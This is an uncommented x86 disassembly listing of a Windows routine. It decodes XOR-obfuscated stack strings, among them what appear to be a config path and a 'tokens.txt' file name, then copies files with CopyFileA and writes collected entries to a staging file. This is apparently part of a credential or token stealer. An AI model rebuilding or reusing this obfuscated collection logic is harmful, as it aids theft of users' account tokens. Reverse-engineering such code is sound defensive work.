call fcn.004e6ca0
test al, al
jne 0x40e988
mov dword [ebp - 0x20], 0xafc7d9d6
mov dword [ebp - 0x1c], 0x8b2795a9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x20], 0x1b9bff87
mov dword [ebp - 0x1c], 0x67bd2a97
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], ecx
mov dword [ebp - 0x20], 0xbc3b1afb
mov dword [ebp - 0x1c], 0xc0cfab78
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x810]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x810], xmm1
movaps xmm1, xmmword [ebp - 0x800]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x810]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1250]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x800], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x288]
push eax
call fcn.004162c0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1250]
call fcn.00402df0
cmp dword [ebp - 0x274], 0xf
lea ecx, [ebp - 0x288]
cmova ecx, dword [ebp - 0x288]
call fcn.004e6ca0
test al, al
je 0x40f2df
sub esp, 0x18
lea eax, [ebp - 0x288]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x49
push 1
mov byte [ebp - 4], 0x47
xor dl, dl
lea ecx, [ebp - 0xa48]
call fcn.004c6000
add esp, 0x1c
mov byte [ebp - 4], 0x4a
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xa44]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x9c], ecx
cmp eax, ecx
je 0x40ed70
mov byte [ebp - 0x74], 0
nop dword [eax]
push eax
lea ecx, [ebp - 0xa10]
call fcn.004163b0
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xd30]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0xa10]
cmp dword [ebp - 0x9fc], 0xf
lea ecx, [ebp - 0xd30]
push dword [ebp - 0xa00]
cmova eax, dword [ebp - 0xa10]
push eax
push dword [ebp - 0x74]
call fcn.00429070
mov edi, dword [ebp - 0x38]
add esp, 0xc
or edi, 0x1000
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x4b
and edi, 0xffffefff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xd30]
cmp dword [ebp - 0xd1c], 7
mov eax, dword [ebp - 0xd20]
cmova ecx, dword [ebp - 0xd30]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0xa30], eax
push ecx
lea eax, [ebp - 0xa30]
sar esi, 1
push eax
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0xa2c], esi
call fcn.0041a4f0
lea eax, [ebp - 0xbf8]
or edi, 0x2000
push eax
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x4f
and edi, 0xffffdfff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0xf38]
call fcn.004188d0
mov dword [ebp - 0x20], 0xb1fd90e6
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x98], 0x7dbb92e6
mov dword [ebp - 0x94], 0x14d846fe
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x90], 0xdf9be395
mov dword [ebp - 0x8c], 0xf940fadb
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x88], 0x7dbb92e6
mov dword [ebp - 0x84], 0x14d846fe
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x28], eax
movaps xmm1, xmmword [ebp - 0x1f0]
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x24], ecx
lea ecx, [edx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1f0], xmm1
mov al, byte [edx]
inc edx
test al, al
jne 0x40eb97
sub edx, ecx
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0xbe4], 0xf
lea ecx, [ebp - 0xbf8]
push edx
cmova ecx, dword [ebp - 0xbf8]
mov edx, dword [ebp - 0xbe8]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x40ed28
mov dword [ebp - 0xc0], 0xdf9be3c9
lea edx, [ebp - 0x738]
mov dword [ebp - 0xbc], 0xf940fadb
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0xb8], 0x7dbb92e6
mov dword [ebp - 0xb4], 0x14d846fe
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0xb0], 0xdf9be395
mov dword [ebp - 0xac], 0xf940fadb
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xa8], 0x7dbb92e6
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xa4], 0x14d846fe
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
movaps xmm1, xmmword [ebp - 0x4a0]
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0xe4], ecx
lea ecx, [ebp - 0xf50]
xorps xmm1, xmmword [ebp - 0xf0]
push eax
movaps xmmword [ebp - 0x4a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xbf8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1268]
call fcn.0041ad80
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x53
cmp dword [ecx + 0x14], 0xf
jbe 0x40ecde
mov ecx, dword [ecx]
cmp dword [ebp - 0x9fc], 0xf
lea eax, [ebp - 0xa10]
push 0
cmova eax, dword [ebp - 0xa10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x1268]
call fcn.00402df0
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0xf50]
call fcn.00402df0
test esi, esi
je 0x40ed28
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xbf8]
call fcn.00402df0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xd30]
call fcn.004188d0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xa10]
call fcn.00402df0
mov eax, dword [ebp - 0x7c]
add eax, 0x18
mov dword [ebp - 0x7c], eax
cmp eax, dword [ebp - 0x9c]
jne 0x40ea00
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x20], 0xb1f480c9
lea edx, [ebp - 0x288]
mov dword [ebp - 0x1c], 0xf92793bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xda0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4b0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xda0]
cmp dword [ebp - 0xd8c], 0xf
cmova ecx, dword [ebp - 0xda0]
call fcn.004e6ca0
test al, al
je 0x40eef4
mov dword [ebp - 0x20], 0xb1f480c9
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0xf92793bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xf68]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x56
or dword [ebp - 0x38], 1
cmp dword [eax + 0x14], 0xf
jbe 0x40eee7
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x40eef8
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x55
mov eax, dword [ebp - 0x38]
test al, 1
je 0x40ef17
and eax, 0xfffffffe
lea ecx, [ebp - 0xf68]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x40eff7
mov dword [ebp - 0x20], 0xb1f480c9
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0xf92793bd
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x4d0], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x57
sub esp, 0x14
lea eax, [ebp - 0xda0]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x58
mov byte [ebp - 4], 0x55
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x40eff7
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
lea ecx, [ebp - 0x130]
call fcn.0048f070
mov byte [ebp - 4], 0x59
mov eax, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x130]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x40f2ac
mov dword [ebp - 0x20], 0x80e286c9
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0x9c2b95af
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x20], 0x995e188
mov dword [ebp - 0x1c], 0x14d83286
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xea8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x5a
mov dword [ebp - 0x20], 0xdf9b81e2
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0xe94], 0xf
movaps xmm1, xmmword [ebp - 0x4f0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xea8]
cmova eax, dword [ebp - 0xea8]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x4f0]
xorps xmm1, xmmword [ebp - 0x30]
push ecx
push eax
movaps xmmword [ebp - 0x4f0], xmm1
call fcn.00439820
add esp, 8
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x40f295
mov ecx, dword [ebp - 0x12c]
xor edi, edi
mov edx, dword [ebp - 0x130]
sub ecx, edx
sar ecx, 3
imul eax, ecx, 0xaaaaaaab
test eax, eax
je 0x40f28a
xor esi, esi
add edx, esi
cmp dword [edx + 0x14], 0xf
jbe 0x40f1aa
mov edx, dword [edx]
mov dword [ebp - 0x20], 0xd59690b0
mov dword [ebp - 0x1c], 0xf940f0d6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x98], 0x7dbb92e6
mov dword [ebp - 0x94], 0x14d846fe
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x90], 0xdf9be395
mov dword [ebp - 0x8c], 0xf940fadb
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x88], 0x7dbb92e6
mov dword [ebp - 0x84], 0x14d846fe
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x84]
movaps xmm1, xmmword [ebp - 0x500]
push edx
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
push dword [ebp - 0x7c]
movaps xmmword [ebp - 0x500], xmm1
call fcn.00403350
mov eax, dword [ebp - 0x12c]
inc edi
mov edx, dword [ebp - 0x130]
add esp, 0xc
sub eax, edx
add esi, 0x18
sar eax, 3
imul eax, eax, 0xaaaaaaab
cmp edi, eax
jb 0x40f1a0
push dword [ebp - 0x7c]
call fcn.0043d0a8
add esp, 4
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0xea8]
call fcn.00402df0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x130]
call fcn.004185d0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xda0]
call fcn.00402df0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0xa48]
call fcn.004185d0
cmp byte [ebp - 0x32], 0
jne 0x40f2ee
push ecx
lea ecx, [ebp - 0x738]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x288]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [ebp - 0x31], 0
jne 0x40f318
push ecx
lea ecx, [ebp - 0x1a8]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x738]
call fcn.00402df0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xd18]
call fcn.00402df0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xd00]
call fcn.00402df0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xce8]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xcd0]
call fcn.00402df0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa28]
call fcn.00402df0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xcb8]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a8]
call fcn.00402df0
cmp byte [ebp - 0x7d], 0
je 0x411da6
mov dword [ebp - 0x20], 0xacfeaec9
mov edx, 0x586d74
mov dword [ebp - 0x1c], 0x9e2e9fa8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x20], 0x7dc8e083
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x510]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x510], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0x5b
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
push 0
cmova eax, dword [ebp - 0x260]
push eax
call edi
test eax, eax
je 0x411d94
mov dword [ebp - 0x20], 0xa6f0b0c9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf9409fab
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x520]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xb98]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x520], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0xb98]
cmp dword [ebp - 0xb84], 0xf
push 0
cmova eax, dword [ebp - 0xb98]
push eax
call edi
test eax, eax
je 0x40f877
mov dword [ebp - 0x20], 0xbcf2aec9
mov dword [ebp - 0x1c], 0x963395a9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], ecx
mov dword [ebp - 0x20], 0x2ee7e680
mov dword [ebp - 0x1c], 0x71a83f95
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], ecx
mov dword [ebp - 0x20], 0xab200f87
mov dword [ebp - 0x1c], 0xb3aa8239
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x20], 0xde163283
mov dword [ebp - 0x1c], 0xeaae1720
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x20], 0xb60d7b88
mov dword [ebp - 0x1c], 0x1fdfbdc3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x20], 0xd5d95fed
mov dword [ebp - 0x1c], 0x19127bfa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xe52d17e9
mov dword [ebp - 0x1c], 0x7eadd2b7
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd5d93a8a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], 0x19127bfa
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x720]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x720], xmm1
movaps xmm1, xmmword [ebp - 0x710]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x710], xmm1
movaps xmm1, xmmword [ebp - 0x700]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x700], xmm1
xorps xmm0, xmm0
mov dword [ebp - 0x290], 0
lea ecx, [ebp - 0x720]
mov dword [ebp - 0x28c], 0
movups xmmword [ebp - 0x2a0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f6e8
sub ecx, edx
lea eax, [ebp - 0x720]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00403040
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x20], 0x9bcbb3d4
mov dword [ebp - 0x1c], 0xf901ae9a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x530]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x530], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0x2a0]
mov edx, eax
push ecx
lea ecx, [ebp - 0xdb8]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x5f
mov eax, dword [ebp - 0x28c]
cmp eax, 0xf
jbe 0x40f7d9
push eax
push dword [ebp - 0x2a0]
lea eax, [ebp - 0x2a0]
push eax
call fcn.00402fe0
add esp, 0xc
cmp dword [ebp - 0xda4], 0xf
lea ecx, [ebp - 0xdb8]
mov dword [ebp - 0x290], 0
cmova ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.004e6ca0
test al, al
je 0x40f859
sub esp, 0x18
lea eax, [ebp - 0xb98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x60
sub esp, 0x18
lea eax, [ebp - 0xdb8]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x61
mov byte [ebp - 4], 0x5f
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x40f859
mov byte [ebp - 0x31], 1
jmp 0x40f868
push ecx
lea ecx, [ebp - 0xb98]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xdb8]
call fcn.00402df0
mov dword [ebp - 0x20], 0xbaf7a6c9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0x8d2e9fb6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
